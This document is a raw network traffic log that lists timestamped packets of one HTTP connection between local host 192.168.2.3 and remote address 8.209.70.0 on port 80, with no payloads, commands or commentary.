Jan 14, 2022 20:23:44.598155975 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.598189116 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.598191023 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.598229885 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.598268032 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.598306894 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.598311901 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.598344088 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.598346949 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.598385096 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.598423004 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.598460913 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.598464966 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.598498106 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.598500967 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.598557949 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.598611116 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.598654032 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.598656893 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.598690987 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.598695040 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.598732948 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.598751068 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.598772049 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.598783970 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.598813057 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.598824024 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.598851919 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.598856926 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.598891020 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.598896980 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.598927975 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.598929882 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.598969936 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.598970890 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.599009991 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.599011898 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.599046946 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.599047899 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.599087000 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.599091053 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.599123955 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.599126101 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.599164009 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.599203110 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.599204063 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.599239111 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.599242926 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.599282026 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.599292994 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.599324942 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.615242004 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.615272999 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.615298033 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.615324020 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.615325928 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.615350962 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.615369081 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.615376949 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.615396023 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.615403891 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.615428925 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.615430117 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.615454912 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.615454912 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.615474939 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.615483046 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.615503073 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.615525007 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.615566015 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.615592003 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.615617990 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.615638971 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.615643978 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.615670919 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.615670919 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.615699053 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.615708113 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.615725994 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.615727901 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.615752935 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.615753889 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.615776062 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.615778923 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.615802050 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.615823030 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.616437912 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.616466045 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.616489887 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.616517067 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.616522074 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.616544008 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.616563082 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.616569042 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.616595030 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.616599083 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.616621017 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.616637945 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.616648912 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.616672039 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.616673946 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.616700888 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.616708994 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.616727114 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.616735935 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.616754055 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.616758108 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.616780996 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.616780996 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.616808891 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.616811037 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.616833925 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.616833925 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.616852999 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.616861105 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.616883993 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.616887093 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.616911888 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.616914034 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.616933107 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.616940975 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.616964102 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.616966963 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.616986990 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.616991997 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.617011070 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.617017984 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.617038012 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.617043972 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.617057085 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.617069960 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.617082119 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.617095947 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.617106915 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.617121935 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.617141008 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.617147923 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.617162943 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.617176056 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.617193937 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.617201090 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.617218018 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.617227077 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.617242098 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.617254019 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.617268085 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.617279053 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.617291927 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.617305040 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.617319107 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.617330074 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.617348909 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.617357016 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.617377043 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.617383957 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.617399931 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.617409945 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.617429018 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.617435932 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.617450953 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.617461920 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.617474079 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.617487907 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.617500067 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.617515087 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.617523909 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.617543936 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.617567062 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.617572069 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.617599010 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.617599010 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.617625952 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.617625952 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.617652893 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.617655039 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.617675066 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.617681980 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.617702007 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.617707014 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.617727041 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.617733002 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.617755890 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.617760897 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.617779016 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.617789030 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.617810965 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.617816925 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.617835045 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.617841959 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.617861986 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.617885113 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.617886066 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.617912054 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.617952108 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.617961884 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.617980003 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.617994070 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.618007898 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.618031979 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.618035078 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.618061066 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.618062973 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.618084908 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.618089914 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.618118048 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.618119001 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.618143082 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.618146896 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.618168116 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.618174076 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.618195057 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.618201017 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.618220091 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.618227959 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.618246078 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.618254900 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.618269920 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.618283033 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.618298054 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.618310928 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.618320942 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.618340015 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.618360996 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.618367910 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.618382931 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.618395090 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.618407965 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.618422985 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.618444920 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.618449926 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.618469000 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.618477106 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.618495941 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.618505001 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.618518114 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.618532896 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.618542910 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.618560076 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.618617058 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.618649960 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.618673086 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.618676901 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.618695974 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.618705034 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.618727922 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.618732929 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.618756056 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.618761063 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.618781090 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.618789911 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.618803024 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.618817091 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.618828058 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.618844986 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.618863106 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.618872881 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.618900061 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.618916035 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.618927002 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.618949890 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.618953943 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.618982077 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.618983030 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.619005919 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.619009972 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.619030952 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.619036913 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.619055986 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.619064093 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.619076967 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.619091034 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.619100094 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.619117975 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.619137049 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.619146109 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.619158030 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.619174957 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.619184971 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.619203091 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.619214058 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.619231939 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.619240999 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.619259119 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.619287014 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.619299889 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.619314909 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.619334936 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.619340897 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.619364023 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.619368076 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.619390011 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.619395971 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.619416952 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.619422913 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.619437933 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.619451046 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.619462013 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.619477034 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.619496107 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.619504929 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.619515896 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.619534016 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.619551897 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.619560003 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.619582891 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.619587898 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.619607925 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.619615078 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.619635105 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.619654894 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.619659901 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.619683981 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.619703054 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.619712114 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.619738102 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.619739056 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.619762897 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.619767904 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.619787931 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.619795084 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.619812965 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.619822979 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.619844913 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.619851112 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.619873047 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.619879961 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.619906902 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.619910002 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.619931936 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.619935036 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.619957924 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.619961977 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.619982004 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.619991064 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.620004892 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.620018005 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.620035887 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.620045900 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.620066881 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.620074987 CET	80	49855	8.209.70.0	192.168.2.3
